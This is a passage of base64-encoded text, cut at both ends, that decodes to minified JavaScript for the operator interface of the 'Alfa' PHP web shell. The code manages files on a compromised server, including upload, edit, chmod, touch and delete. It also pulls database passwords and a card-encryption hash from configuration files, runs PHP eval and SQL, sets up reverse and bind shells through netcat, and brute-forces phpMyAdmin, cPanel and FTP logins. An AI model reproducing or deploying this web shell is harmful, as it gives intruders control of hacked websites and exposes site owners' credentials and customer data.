uY2hlY2tlZD0hMX0pfV9BamF4KGQuVVJMLHQraSxmdW5jdGlvbihlKXthbGZhbG9hZGVyKCJmaWxlc21hbl9ob2xkZXJfIithLCJub25lIiksYWxmYUZtbmdyQ29udGV4dFJvdygpfSwhMSwiZmlsZXNtYW5faG9sZGVyXyIrYSl9ZnVuY3Rpb24gaW5pdERpcihlKXt2YXIgYT0iIix0PSIiO2lzbGludXgmJihhPSI8YSBjbGFzcz1cImhlYWRlcl9wd2RcIiBvbmNsaWNrPVwiZygnRmlsZXNNYW4nLCcvJyk7XCIgcGF0aD0nLycgaHJlZj0nI2FjdGlvbj1maWxlbWFuJnBhdGg9Lyc+LzwvYT4iLHQ9Ii8iKTt2YXIgbD1lLnNwbGl0KCIvIiksbz0iIixyPWlzbGludXg/Ii8iOiIiO2ZvcihpIGluIi0xIiE9bC5pbmRleE9mKCIuLiIpJiYobC5zcGxpY2UobC5pbmRleE9mKCIuLiIpLTEsMSksbC5zcGxpY2UobC5pbmRleE9mKCIuLiIpLDEpKSxsKSIiIT1sW2ldJiYobys9IjxhIG9uY2xpY2s9XCJnKCdGaWxlc01hbicsJyIrcitsW2ldKyIvJyk7XCIgcGF0aD0nIityK2xbaV0rIi8nIGhyZWY9JyNhY3Rpb249ZmlsZW1hbiZwYXRoPSIrcitsW2ldKycvXCcgY2xhc3M9ImhlYWRlcl9wd2QiPicrbFtpXSsiLzwvYT4iLHIrPWxbaV0rIi8iKTskKCJoZWFkZXJfY3dkIikuaW5uZXJIVE1MPWErbysiICIsYWxmYUluaXRDd2RDb250ZXh0KCksbD0obD10K2wuam9pbigiLyIpKS5yZXBsYWNlKCIvLyIsIi8iKSxkLmZvb3Rlcl9mb3JtLmMudmFsdWU9bCwkKCJmb290ZXJfY3dkIikudmFsdWU9bCxjXz1sfWZ1bmN0aW9uIGV2YWxKUyhodG1sKXt2YXIgbmV3RWxlbWVudD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCJkaXYiKTtuZXdFbGVtZW50LmlubmVySFRNTD1odG1sO2Zvcih2YXIgc2NyaXB0cz1uZXdFbGVtZW50LmdldEVsZW1lbnRzQnlUYWdOYW1lKCJzY3JpcHQiKSxpPTA7aTxzY3JpcHRzLmxlbmd0aDsrK2kpe3ZhciBzY3JpcHQ9c2NyaXB0c1tpXTtldmFsKHNjcmlwdC5pbm5lckhUTUwpfX1mdW5jdGlvbiBfQWpheChlLGEsdCxpLGwpe3ZhciBvPSExO3JldHVybiB3aW5kb3cuWE1MSHR0cFJlcXVlc3Q/bz1uZXcgWE1MSHR0cFJlcXVlc3Q6d2luZG93LkFjdGl2ZVhPYmplY3QmJihvPW5ldyBBY3RpdmVYT2JqZWN0KCJNaWNyb3NvZnQuWE1MSFRUUCIpKSx2b2lkIDAhPT1sJiYoX0FMRkFfQUpBWF9bbF09byksbz8oby5vbnJlYWR5c3RhdGVjaGFuZ2U9ZnVuY3Rpb24oKXs0PT1vLnJlYWR5U3RhdGUmJjIwMD09by5zdGF0dXM/ImZ1bmN0aW9uIj09dHlwZW9mIHQmJih0KG8ucmVzcG9uc2VUZXh0LGwpLGFsZmFDbGVhckFqYXgobCkpOjQ9PW8ucmVhZHlTdGF0ZSYmMjAwIT1vLnN0YXR1cyYmKGFsZmFBamF4RXJyb3Ioby5zdGF0dXMsbCxvLnN0YXR1c1RleHQsby5yZXNwb25zZVRleHQpLGFsZmFDbGVhckFqYXgobCkpfSxvLm9wZW4oIlBPU1QiLGUsITApLG8uc2V0UmVxdWVzdEhlYWRlcigiQ29udGVudC1UeXBlIiwiYXBwbGljYXRpb24veC13d3ctZm9ybS11cmxlbmNvZGVkIiksdm9pZCBvLnNlbmQoYSkpOnZvaWQgYWxlcnQoIkVycm9yICEiKX1mdW5jdGlvbiBhbGZhQ2xlYXJBamF4KGUpe19BTEZBX0FKQVhfLmhhc093blByb3BlcnR5KGUpJiZkZWxldGUgX0FMRkFfQUpBWF9bZV19ZnVuY3Rpb24gaGFuZGxldXAoZSxhKXt2YXIgdD0iX19mbmFtZXVwIjtpZigwIT1hJiYodD0iX19mbmFtZXVwIithKSxlLmZpbGVzLmxlbmd0aD4xKXtmb3IodmFyIGk9IiIsbD0wO2w8ZS5maWxlcy5sZW5ndGg7bCsrKWkrPWUuZmlsZXNbMF0ubmFtZSsiLCAiOyQodCkuaW5uZXJIVE1MPWl9ZWxzZSBlLmZpbGVzWzBdLm5hbWUmJigkKHQpLmlubmVySFRNTD1lLmZpbGVzWzBdLm5hbWUpfWZ1bmN0aW9uIHUoZSl7dmFyIGE9ITEsdD0wLGk9YWxmYV9jdXJyZW50X2ZtX2lkLGw9bmV3IEZvcm1EYXRhLG89ImZpbGVzbWFuX2hvbGRlcl8iK2k7bC5hcHBlbmQoImEiLGFsZmFiNjQoZS5hLnZhbHVlKSksbC5hcHBlbmQoImMiLGFsZmFiNjQoZS5jLnZhbHVlKSksbC5hcHBlbmQoImFsZmExIixhbGZhYjY0KGUuYWxmYTEudmFsdWUpKSxsLmFwcGVuZCgiY2hhcnNldCIsYWxmYWI2NChlLmNoYXJzZXQudmFsdWUpKSxsLmFwcGVuZCgiYWpheCIsYWxmYWI2NChlLmFqYXgudmFsdWUpKSxlLnF1ZXJ5U2VsZWN0b3JBbGwoImlucHV0W3R5cGU9ZmlsZV0iKS5mb3JFYWNoKGZ1bmN0aW9uKGUpe2lmKDA9PWUudmFsdWUubGVuZ3RoKXJldHVybiExO2lmKGUuZmlsZXMubGVuZ3RoPjEpZm9yKHZhciBhPTA7YTxlLmZpbGVzLmxlbmd0aDthKyspbC5hcHBlbmQoImZbXSIsZS5maWxlc1thXSk7ZWxzZSBsLmFwcGVuZCgiZltdIixlLmZpbGVzWzBdKTt0Kyt9KSwkKCJmb290ZXJ1cCIpLnZhbHVlPSIiLCQoIl9fZm5hbWV1cCIpLmlubmVySFRNTD0iIjtmb3IodmFyIHI9MTtyPD11cGNvdW50O3IrKyl7dmFyIG49JCgicGZvb3RlcnVwXyIrcik7biYmbi5wYXJlbnROb2RlLnJlbW92ZUNoaWxkKG4pLHVwY291bnQtLX1pZigwPT11cGNvdW50JiZ1cGNvdW50KyssMD09dClyZXR1cm4hMTt2YXIgcz0idXBfYmFyXyIrZ2V0UmFuZG9tKCk7JCgidXBfYmFyX2hvbGRlciIpLmluc2VydEFkamFjZW50SFRNTCgiYmVmb3JlZW5kIiwiPGRpdiBpZD0nIitzKyInIGNsYXNzPSd1cF9iYXInPjwvZGl2PiIpO2UuYy52YWx1ZTtpZih3aW5kb3cuWE1MSHR0cFJlcXVlc3Q/YT1uZXcgWE1MSHR0cFJlcXVlc3Q6d2luZG93LkFjdGl2ZVhPYmplY3QmJihhPW5ldyBBY3RpdmVYT2JqZWN0KCJNaWNyb3NvZnQuWE1MSFRUUCIpKSxhKXt2YXIgYz0kKHMpO19BTEZBX0FKQVhfW3NdPWEsYS51cGxvYWQmJihjLnN0eWxlLmRpc3BsYXk9ImJsb2NrIixhLnVwbG9hZC5vbnByb2dyZXNzPWZ1bmN0aW9uKGUpe3ZhciBhPWUucG9zaXRpb258fGUubG9hZGVkLHQ9ZS50b3RhbFNpemV8fGUudG90YWwsaT1NYXRoLmZsb29yKGEvdCoxZTMpLzEwKyIlIjtjLnN0eWxlLndpZHRoPWl9KSxhLm9ubG9hZD1mdW5jdGlvbihlKXsyMDA9PT1hLnN0YXR1cz9jLnN0eWxlLmRpc3BsYXk9Im5vbmUiOmFsZmFBamF4RXJyb3IoYS5zdGF0dXMsInVwbG9hZF9hcmVhIixhLnN0YXR1c1RleHQsYS5yZXNwb25zZVRleHQpLGFsZmFDbGVhckFqYXgocyl9LGEub25yZWFkeXN0YXRlY2hhbmdlPWZ1bmN0aW9uKCl7aWYoND09YS5yZWFkeVN0YXRlJiYyMDA9PWEuc3RhdHVzKXtpZigibm9wZXJtIiE9YS5yZXNwb25zZVRleHQmJiJbXSIhPWEucmVzcG9uc2VUZXh0KXt2YXIgZSx0PUpTT04ucGFyc2UoYS5yZXNwb25zZVRleHQpLGw9IiIscj1kLnF1ZXJ5U2VsZWN0b3JBbGwoIiMiK28rIiAjZmlsZW1hbmFnZXJfdGFibGUgdHIiKS5sZW5ndGgtMztmb3IoZSBpbiB0KXsrK3I7dmFyIG49dFtlXS5uYW1lLHM9ZW5jb2RlVVJJQ29tcG9uZW50KG4pLGM9dFtlXS5zaXplLGY9dFtlXS5wZXJtLF89dFtlXS5tb2RpZnksdT10W2VdLm93bmVyLHA9bG9hZFR5cGUobiwiZmlsZSIpO3RyeXtkLnF1ZXJ5U2VsZWN0b3IoIiMiK28rIiAuZm1hbmFnZXItcm93IGFbZm5hbWU9JyIrbisiJ10iKS5wYXJlbnRFbGVtZW50LnBhcmVudEVsZW1lbnQucGFyZW50RWxlbWVudC5yZW1vdmUoKX1jYXRjaChlKXt9bCs9Jzx0ciBjbGFzcz0iZm1hbmFnZXItcm93IiBpZD0idHJfcm93XycrcisnIj48dGQ+PGRpdiBjbGFzcz0ibXlDaGVja2JveCI+PGlucHV0IHR5cGU9ImNoZWNrYm94IiBuYW1lPSJmW10iIHZhbHVlPSInK24rJyIgY2xhc3M9ImNoa2J4IiBpZD0iY2hlY2tib3gnK3IrJyI+PGxhYmVsIGZvcj0iY2hlY2tib3gnK3IrJyI+PC9sYWJlbD48L2Rpdj48L3RkPjx0ZCBpZD0idGRfcm93XycrcisnIj4nK3ArJzxkaXYgc3R5bGU9InBvc2l0aW9uOnJlbGF0aXZlO2Rpc3BsYXk6aW5saW5lLWJsb2NrO2JvdHRvbToxMnB4OyI+PGEgcm93PSInK3IrJyIgaWQ9ImlkXycrcisnIiBjbGFzcz0ibWFpbl9uYW1lIiBvbmNsaWNrPSJlZGl0b3IoXCcnK3MrIicsJ2F1dG8nLCcnLCcnLCcnLCdmaWxlJyk7XCIgaHJlZj1cIiNhY3Rpb249ZmlsZW1hbiZhbXA7cGF0aD0iK2NfKyImYW1wO2ZpbGU9IitzKyciIGZuYW1lPSInK24rJyIgZnR5cGU9ImZpbGUiIHBhdGg9IicrY18rJyIgb3B0X3RpdGxlPSIiPicrbisnPC9hPjwvZGl2PjwvdGQ+PHRkPjxzcGFuIHN0eWxlPSJmb250LXdlaWdodDp1bnNldDsiIGNsYXNzPSJtYWluX3NpemUiPicrYysnPC9zcGFuPjwvdGQ+PHRkPjxzcGFuIHN0eWxlPSJmb250LXdlaWdodDp1bnNldDsiIGNsYXNzPSJtYWluX21vZGlmeSI+JytfKyc8L3NwYW4+PC90ZD48dGQ+PHNwYW4gc3R5bGU9ImZvbnQtd2VpZ2h0OnVuc2V0OyIgY2xhc3M9Im1haW5fb3duZXJfZ3JvdXAiPicrdSsnPC9zcGFuPjwvdGQ+PHRkPjxhIGlkPSJpZF9jaG1vZGVfJytyKyciIGhyZWY9ImphdmFzY3JpcHQ6dm9pZCgwKSIgb25jbGljaz0iZWRpdG9yKFwnJytzKyInLCdjaG1vZCcsJycsJycsJycsJ2ZpbGUnKVwiPiIrZisnPC9hPjwvdGQ+PHRkPjxhIGlkPSJpZF9yZW5hbWVfJytyKyciIHRpdGxlPSJSZW5hbWUiIGNsYXNzPSJhY3Rpb25zIiBocmVmPSJqYXZhc2NyaXB0OnZvaWQoMCk7IiBvbmNsaWNrPSJlZGl0b3IoXCcnK3MrIicsICdyZW5hbWUnLCcnLCcnLCcnLCdmaWxlJylcIj5SPC9hPiA8YSBpZD1cImlkX3RvdWNoXyIrcisnIiB0aXRsZT0iTW9kaWZ5IERhdGV0aW1lIiBjbGFzcz0iYWN0aW9ucyIgaHJlZj0iamF2YXNjcmlwdDp2b2lkKDApOyIgb25jbGljaz0iZWRpdG9yKFwnJytzKyInLCAndG91Y2gnLCcnLCcnLCcnLCdmaWxlJylcIj5UPC9hPiA8YSBpZD1cImlkX2VkaXRfIityKyciIGNsYXNzPSJhY3Rpb25zIiB0aXRsZT0iRWRpdCIgaHJlZj0iamF2YXNjcmlwdDp2b2lkKDApOyIgb25jbGljaz0iZWRpdG9yKFwnJytzKyInLCAnZWRpdCcsJycsJycsJycsJ2ZpbGUnKVwiPkU8L2E+IDxhIGlkPVwiaWRfZG93bmxvYWRfIityKyciIHRpdGxlPSJEb3dubG9hZCIgY2xhc3M9ImFjdGlvbnMiIGhyZWY9ImphdmFzY3JpcHQ6dm9pZCgwKTsiIG9uY2xpY2s9ImcoXCdGaWxlc1Rvb2xzXCcsbnVsbCxcJycrbisiJywgJ2Rvd25sb2FkJylcIj5EPC9hPjxhIGlkPVwiaWRfZGVsZXRlXyIrcisnIiB0aXRsZT0iRGVsZXRlIiBjbGFzcz0iYWN0aW9ucyIgaHJlZj0iamF2YXNjcmlwdDp2b2lkKDApOyIgb25jbGljaz0idmFyIGNoayA9IGNvbmZpcm0oXCdBcmUgWW91IFN1cmUgRm9yIERlbGV0ZSAjICcrcysiICMgPycpOyBjaGsgPyBnKCdGaWxlc01hbicsbnVsbCwnZGVsZXRlJywgJyIrcysiJykgOiAnJztcIj4gWCA8L2E+PC90ZD48L3RyPiJ9ZC5xdWVyeVNlbGVjdG9yKCIjIitvKyIgI2ZpbGVtYW5hZ2VyX2xhc3RfdHIiKS5pbnNlcnRBZGphY2VudEhUTUwoImJlZm9yZWJlZ2luIixsKSxhbGZhU2hvd05vdGlmaWNhdGlvbigiRmlsZShzKSB1cGxvYWRlZCBzdWNjZXNzZnVsbHkiLCJVcGxvYWRlciIpLGFsZmFGbW5nckNvbnRleHRSb3coKX1lbHNlIGFsZmFTaG93Tm90aWZpY2F0aW9uKCJGb2xkZXIgaGFzIG5vIHBlcm1pc3Npb24uLi4iLCJVcGxvYWRlciIsImVycm9yIik7YWxmYUNoZWNrQ3VycmVudEZpbGVzTWFuVGFiKGkpfX0sYS5vcGVuKCJQT1NUIixkLlVSTCksYS5zZW5kKGwpfX1mdW5jdGlvbiBhbGZhQ2hlY2tDdXJyZW50RmlsZXNNYW5UYWIoZSl7LTE9PSQoImZpbGVzbWFuX3RhYl8iK2UpLmNsYXNzTGlzdC52YWx1ZS5pbmRleE9mKCJmaWxlc21hbi10YWItYWN0aXZlIikmJiQoImZpbGVzbWFuX3RhYl8iK2UpLmNsYXNzTGlzdC5hZGQoInRhYi1pcy1kb25lIil9ZnVuY3Rpb24gZyhhLGMsYWxmYTEsYWxmYTIsYWxmYTMsYWxmYTQsYWxmYTUsYWxmYTYsYWxmYTcsYWxmYTgsYWxmYTksYWxmYTEwLGNoYXJzZXQpe3ZhciBmbV9pZD0wPT1hbGZhX2ZtX2lkP2FsZmFfY3VycmVudF9mbV9pZDphbGZhX2ZtX2lkLGZtX2lkMj1hbGZhX2ZtX2lkLGZtX3BhdGg9bnVsbD09Y3x8MD09Yy5sZW5ndGg/Y186YyxkX21mX2M9Zm1fcGF0aCxnX2FjdGlvbl9pZD1hbGZhX2JlZm9yZV9kb19hY3Rpb25faWQ7MD09YWxmYV9mbV9pZCYmKHNldChhLGMsYWxmYTEsYWxmYTIsYWxmYTMsYWxmYTQsYWxmYTUsYWxmYTYsYWxmYTcsYWxmYTgsYWxmYTksYWxmYTEwLGNoYXJzZXQpLGRfbWZfYz1kLm1mLmMudmFsdWUpLCJHZXRDb25maWciIT1hJiYiZG93bmxvYWQiIT1hbGZhMiYmaXNsaW51eCYmIi8iIT1kX21mX2Muc3Vic3RyKDAsMSkmJihkX21mX2M9Ii8iK2RfbWZfYyksIkZpbGVzTWFuIj09YT8oYWxmYWxvYWRlcigiZmlsZXNtYW5faG9sZGVyXyIrZm1faWQsImJsb2NrIiksZ19hY3Rpb25faWQ9ImZpbGVzbWFuX2hvbGRlcl8iK2ZtX2lkKToiIiE9Z19hY3Rpb25faWQ/YWxmYWxvYWRlcihnX2FjdGlvbl9pZCwiYmxvY2siKToiRmlsZXNUb29scyIhPWEmJiJkb3dubG9hZCIhPWFsZmEyJiYiR2V0Q29uZmlnIiE9YSYmKCJzcWwiPT1hPyhzaG93RWRpdG9yKCJkYXRhYmFzZV93aW5kb3ciKSxnX2FjdGlvbl9pZD1sb2FkUG9wVXBEYXRhYmFzZSgiIikpOiJGaWxlc01hbiIhPWEmJihzaG93RWRpdG9yKCJvcHRpb25zX3dpbmRvdyIpLGdfYWN0aW9uX2lkPWxvYWRQb3BVcE9wVGlvbnMoYSkpLGFsZmFsb2FkZXIoZ19hY3Rpb25faWQsImJsb2NrIikpO2Zvcih2YXIgZGF0YT0iYT0iK2FsZmFiNjQoYSkrIiZjPSIrYWxmYWI2NChkX21mX2MpKyImIixpPTE7aTw9MTA7aSsrKWRhdGErPSJhbGZhIitpKyI9IithbGZhYjY0KGV2YWwoImQubWYuYWxmYSIraSsiLnZhbHVlIikpKyImIjtpZigiRmlsZXNNYW4iPT1hKXt2YXIgcGFnZW51bT1kLnF1ZXJ5U2VsZWN0b3IoIiMiK2dfYWN0aW9uX2lkKyIgLnBhZ2UtbnVtYmVyLmFjdGl2ZS1wYWdlLW51bWJlciIpO251bGwhPXBhZ2VudW0mJihkYXRhKz0icGFnZW51bT0iK2FsZmFiNjQoZ2V0Q29va2llKGdfYWN0aW9uX2lkKyJfcGFnZV9udW1iZXIiKSksc2V0Q29va2llKGdfYWN0aW9uX2lkKyJfcGFnZV9udW1iZXIiLDEsMjAxMikpfWlmKGRhdGErPSImYWpheD0iK2FsZmFiNjQoInRydWUiKSwiRmlsZXNUb29scyI9PWEmJiJkb3dubG9hZCI9PWFsZmEyKXthbGZhTG9hZGVyT25Ub3AoIm5vbmUiKTt2YXIgZGw9JCgiZGxGb3JtIik7cmV0dXJuIGRsLmEudmFsdWU9YWxmYWI2NCgiZGxmaWxlIiksZGwuYy52YWx1ZT1hbGZhYjY0KGRfbWZfYyksZGwuZmlsZS52YWx1ZT1hbGZhYjY0KGFsZmExKSx2b2lkIGRsLnN1Ym1pdCgpfSJHZXRDb25maWciIT1hPyhfQWpheChkLlVSTCxkYXRhLGZ1bmN0aW9uKGUsdCl7ZXZhbEpTKGUpO3ZhciBpPSExO2lmKGFsZmFMb2FkZXJPblRvcCgibm9uZSIpLCJzcWwiPT1hKXJldHVybiBjb25zb2xlLmxvZyh0KSxsb2FkUG9wVXBEYXRhYmFzZShlLHQpLCExO2lmKCJGaWxlc01hbiI9PWEpe2FsZmFsb2FkZXIoImZpbGVzbWFuX2hvbGRlcl8iK2ZtX2lkLCJub25lIiksZC5xdWVyeVNlbGVjdG9yKCIjZmlsZXNtYW5faG9sZGVyXyIrZm1faWQpLmlubmVySFRNTD1lLGZtX3BhdGg9Zm1fcGF0aC5yZXBsYWNlKC9cL1wvL2csIi8iKSwkKCJmaWxlc21hbl90YWJfIitmbV9pZCkuc2V0QXR0cmlidXRlKCJwYXRoIixmbV9wYXRoKTt2YXIgbD1hbGZhR2V0TGFzdEZvbGRlck5hbWUoZm1fcGF0aCk7ZC5xdWVyeVNlbGVjdG9yKCIjZmlsZXNtYW5fdGFiXyIrZm1faWQrIiBzcGFuIikuaW5uZXJIVE1MPWwsYWxmYUZtbmdyQ29udGV4dFJvdygpLCJmdW5jdGlvbiI9PXR5cGVvZiBhbGZhMSYmYWxmYTEoZSksYWxmYUNoZWNrQ3VycmVudEZpbGVzTWFuVGFiKGZtX2lkKX1lbHNlKG9wdGlvbnNfd2luZG93X2lzX21pbmltaXplZHx8Ii4iPT10LnN1YnN0cigwLDEpKSYmIi4iPT10LnN1YnN0cigwLDEpJiYoaT0hMCx0PXQuc3Vic3RyKDEpLHNob3dFZGl0b3IoIm9wdGlvbnNfd2luZG93IikpLGl8fGFsZmFsb2FkZXIodCwibm9uZSIpLGxvYWRQb3BVcE9wVGlvbnModCxlKSwicGhwZXZhbCI9PWEmJmFsZmFMb2FkQWNlRWRpdG9yKCJQaHBDb2RlIiksImNvbGR1bXBlciI9PWEuc3Vic3RyKDAsOSkmJmFsZmFDb2xEdW1wZXJJbml0KCl9LCExLCIiPT1nX2FjdGlvbl9pZD8iLiIrYTpnX2FjdGlvbl9pZCksZ19hY3Rpb25faWQ9IiIsMD09Zm1faWQyJiZjIT1jXyYmYyYmaW5pdERpcihjKSk6KGFsZmFsb2FkZXIoYWxmYTMsImJsb2NrIiksX0FqYXgoZC5VUkwsZGF0YSxmdW5jdGlvbihlLGEpe3ZhciB0PWE7YT1kLnF1ZXJ5U2VsZWN0b3IoIiMiKygiaWRfZGIiIT1hLnN1YnN0cigwLDUpPyJvcHRpb25fIithOmEpKTt0cnl7KGU9SlNPTi5wYXJzZShlKSkuaG9zdCYmZS51c2VyJiZlLmRibmFtZSYmKCQoImRiX2hvc3QiKSYmKGEucXVlcnlTZWxlY3RvcigiI2RiX2hvc3QiKS52YWx1ZT1lLmhvc3QpLCQoImRiX3VzZXIiKSYmKGEucXVlcnlTZWxlY3RvcigiI2RiX3VzZXIiKS52YWx1ZT1lLnVzZXIpLCQoImRiX25hbWUiKSYmKGEucXVlcnlTZWxlY3RvcigiI2RiX25hbWUiKS52YWx1ZT1lLmRibmFtZSksJCgiZGJfcHciKSYmKGEucXVlcnlTZWxlY3RvcigiI2RiX3B3IikudmFsdWU9ZS5wYXNzd29yZCksJCgiZGJfcHJlZml4IikmJmUucHJlZml4JiYoYS5xdWVyeVNlbGVjdG9yKCIjZGJfcHJlZml4IikudmFsdWU9ZS5wcmVmaXgpLCQoImNjX2VuY3J5cHRpb25faGFzaCIpJiZlLmNjX2VuY3J5cHRpb25faGFzaCYmKGEucXVlcnlTZWxlY3RvcigiI2NjX2VuY3J5cHRpb25faGFzaCIpLnZhbHVlPWUuY2NfZW5jcnlwdGlvbl9oYXNoKSl9Y2F0Y2goZSl7fWFsZmFsb2FkZXIodCwibm9uZSIpfSwhMSxhbGZhMykpfWZ1bmN0aW9uIGFsZmFHZXRMYXN0Rm9sZGVyTmFtZShlKXt2YXIgYT1lLnJlcGxhY2UoL1wvXC8vZywiLyIpLnNwbGl0KCIvIik7Zm9yKHZhciB0IGluIGEpMD09YVt0XS5sZW5ndGgmJmEuc3BsaWNlKHQsMSk7dmFyIGk9YVthLmxlbmd0aC0xXTtyZXR1cm4gMD09aS5sZW5ndGgmJihpPSIvIiksaX1mdW5jdGlvbiBhbGZhbG9hZGVyKGUsYSl7aWYoMD09ZS5sZW5ndGgpcmV0dXJuITE7dHJ5e3ZhciB0PSQoImxvYWRlcl8iK2UpO2lmKG51bGw9PXQmJiJibG9jayI9PWEpe3ZhciBpPW51bGw7ImVkaXRvciI9PWU/aT1kLnF1ZXJ5U2VsZWN0b3IoIiNlZGl0b3IgLmVkaXRvci1tb2RhbCIpOiJpZF9kYiI9PWUuc3Vic3RyKDAsNSk/aT0kKGUpOiJ0ZXJtaW5hbF9pZCI9PWUuc3Vic3RyKDAsMTEpP2k9JChlKToiZWRpdG9yIj09ZS5zdWJzdHIoMCw2KT9pPSQoZSk6ImNnaWZyYW1lIj09ZT9pPSQoImNnaWZyYW1lIik6ImZpbGVzbWFuX2hvbGRlciI9PWUuc3Vic3RyKDAsMTUpPyhpPSQoZSkpLnN0eWxlLm1pbkhlaWdodD0iMzAwcHgiOmk9JCgib3B0aW9uXyIrZSksaS5pbnNlcnRBZGphY2VudEhUTUwoImFmdGVyYmVnaW4iLCI8ZGl2IGlkPSdsb2FkZXJfIitlKydcJyBjbGFzcz0ib3B0aW9ucy1sb2FkZXItaG9sZGVyIj48ZGl2IHBhcmVudD0iJytlKyciIG9uY2xpY2s9ImFsZmFBamF4Q29udHJvbGxlcih0aGlzKTsiIGNsYXNzPSJzdG9wQWpheCI+WyBTdG9wIGl0IF08L2Rpdj48ZGl2IGNsYXNzPSJhbGZhdGVhbS1sb2FkZXItdGV4dCI+VUNFTiBIQVhPUjwvZGl2PjxkaXYgY2xhc3M9ImFsZmEtYWpheC1lcnJvciI+PC9kaXY+PGltZyBzcmM9XCdodHRwOi8vc29sZXZpc2libGUuY29tL2ltYWdlcy9sb2FkZXIuc3ZnXCc+PC9kaXY+Jyl9ZWxzZSJmaWxlc21hbl9ob2xkZXIiPT1lLnN1YnN0cigwLDE1KSYmKCQoZSkuc3R5bGUubWluSGVpZ2h0PSIwIiksbnVsbCE9dCYmKHQuc3R5bGUuZGlzcGxheT1hKX1jYXRjaChlKXt9fWZ1bmN0aW9uIGZzKGUpe3ZhciBhPWUuZ2V0QXR0cmlidXRlKCJkYl9pZCIpLHQ9ZC5xdWVyeVNlbGVjdG9yKCIjIithKyIgZGl2LnNmIik7bXlzcWxfY2FjaGUuaGFzT3duUHJvcGVydHkoYSl8fChteXNxbF9jYWNoZVthXT17fSksYWxmYWxvYWRlcihhLCJibG9jayIpO3ZhciBpPXQucXVlcnlTZWxlY3RvcigiaW5wdXRbbmFtZT1zcWxfaG9zdF0iKS52YWx1ZSxsPXQucXVlcnlTZWxlY3RvcigiaW5wdXRbbmFtZT1zcWxfbG9naW5dIikudmFsdWUsbz10LnF1ZXJ5U2VsZWN0b3IoImlucHV0W25hbWU9c3FsX3Bhc3NdIikudmFsdWUscj10LnF1ZXJ5U2VsZWN0b3IoImlucHV0W25hbWU9c3FsX2Jhc2VdIik/dC5xdWVyeVNlbGVjdG9yKCJpbnB1dFtuYW1lPXNxbF9iYXNlXSIpLnZhbHVlOnQucXVlcnlTZWxlY3Rvcigic2VsZWN0W25hbWU9c3FsX2Jhc2VdIikudmFsdWUsbj10LnF1ZXJ5U2VsZWN0b3IoInNlbGVjdFtuYW1lPXR5cGVdIikudmFsdWUscz10LnF1ZXJ5U2VsZWN0b3IoImlucHV0W25hbWU9c3FsX2NvdW50XSIpLmNoZWNrZWQ/InRydWUiOiIiO19BamF4KGQuVVJMLCJhPSIrYWxmYWI2NCgiU3FsIikrIiZhbGZhMT0iK2FsZmFiNjQoInF1ZXJ5IikrIiZhbGZhMj0mYz0iK2FsZmFiNjQoY18pKyImY2hhcnNldD0iK2FsZmFiNjQoIlVURi04IikrIiZ0eXBlPSIrYWxmYWI2NChuKSsiJnNxbF9ob3N0PSIrYWxmYWI2NChpKSsiJnNxbF9sb2dpbj0iK2FsZmFiNjQobCkrIiZzcWxfcGFzcz0iK2FsZmFiNjQobykrIiZzcWxfYmFzZT0iK2FsZmFiNjQocikrIiZzcWxfY291bnQ9IithbGZhYjY0KHMpKyImY3VycmVudF9teXNxbF9pZD0iK2FsZmFiNjQoYSkrIiZhamF4PSIrYWxmYWI2NCgidHJ1ZSIpLGZ1bmN0aW9uKGUsYSl7bG9hZFBvcFVwRGF0YWJhc2UoZSxhKSxldmFsSlMoZSksYWxmYWxvYWRlcihhLCJub25lIil9LCExLGEpfWZ1bmN0aW9uIGN0bGJjKGUpe3ZhciBhPSQoImJjU3RhdHVzIiksdD0kKCJiY2lwQWN0aW9uIik7ImJpbmQiPT1lLnZhbHVlPyh0LnN0eWxlLmRpc3BsYXk9Im5vbmUiLGEuaW5uZXJIVE1MPSI8c21hbGw+UHJlc3MgYCA8Zm9udCBjb2xvcj0ncmVkJz4+PjwvZm9udD4gYCBidXR0b24gYW5kIHJ1biBgIDxmb250IGNvbG9yPSdyZWQnPm5jIHNlcnZlcl9pcCBwb3J0PC9mb250PiBgIG9uIHlvdXIgY29tcHV0ZXI8L3NtYWxsPiIpOih0LnN0eWxlLmRpc3BsYXk9ImlubGluZS1ibG9jayIsYS5pbm5lckhUTUw9IjxzbWFsbD5SdW4gYCA8Zm9udCBjb2xvcj0ncmVkJz5uYyAtbCAtdiAtcCBwb3J0PC9mb250PiBgIG9uIHlvdXIgY29tcHV0ZXIgYW5kIHByZXNzIGAgPGZvbnQgY29sb3I9J3JlZCc+Pj48L2ZvbnQ+IGAgYnV0dG9uPC9zbWFsbD4iKX1mdW5jdGlvbiAkKGUpe3JldHVybiBkLmdldEVsZW1lbnRCeUlkKGUpfWZ1bmN0aW9uIGFkZG5ld3VwKCl7dmFyIGU9ImZvb3RlcnVwXyIrdXBjb3VudCxhPSJwZm9vdGVydXBfIit1cGNvdW50LHQ9MSE9dXBjb3VudD8icGZvb3RlcnVwXyIrKHVwY291bnQtMSk6InBmb290ZXJ1cCIsaT1kLmNyZWF0ZUVsZW1lbnQoInAiKTtpLmlubmVySFRNTD0nPGxhYmVsIGNsYXNzPSJpbnB1dGZpbGUiIGZvcj0iJytlKyciPjxzcGFuIGlkPSJfX2ZuYW1ldXAnK3VwY291bnQrJyI+PC9zcGFuPiA8c3Ryb25nPiZuYnNwOyZuYnNwO0Nob29zZSBhIGZpbGU8L3N0cm9uZz48L2xhYmVsPjxpbnB1dCBpZD0iJytlKyciIHR5cGU9ImZpbGUiIG5hbWU9ImZbXSIgb25DaGFuZ2U9ImhhbmRsZXVwKHRoaXMsJyt1cGNvdW50KycpOyIgbXVsdGlwbGU+JyxpLmlkPWEsaS5hcHBlbmRBZnRlcigkKHQpKSx1cGNvdW50Kyt9ZnVuY3Rpb24gYWxmYV9zZWFyY2hlcl90b29sKGUpe3N3aXRjaChlKXtjYXNlImFsbCI6Y2FzZSJkaXJzIjpfYWxmYVNldCghMCwiRGlzYWJsZWQiKTticmVhaztjYXNlImZpbGVzIjpfYWxmYVNldCghMSwicGhwIil9fWZ1bmN0aW9uIF9hbGZhU2V0KGUsYSl7ZC5zcmNoLmV4dC5kaXNhYmxlZD1lLGQuc3JjaC5leHQudmFsdWU9YX1mdW5jdGlvbiBkaXNfaW5wdXQoZSl7c3dpdGNoKGUpe2Nhc2UicGhwbXlhZG1pbiI6YnJ1dGVTZXQoITAsIkRpc2FibGVkIiwiaHR0cDovLyIpO2JyZWFrO2Nhc2UiZGlyZWN0IjpicnV0ZVNldCghMSwiMjIyMiIsImh0dHA6Ly8iKTticmVhaztjYXNlImNwIjpicnV0ZVNldCghMSwiMjA4MiIsImh0dHA6Ly8iKTticmVhaztjYXNlImZ0cCI6YnJ1dGVTZXQoI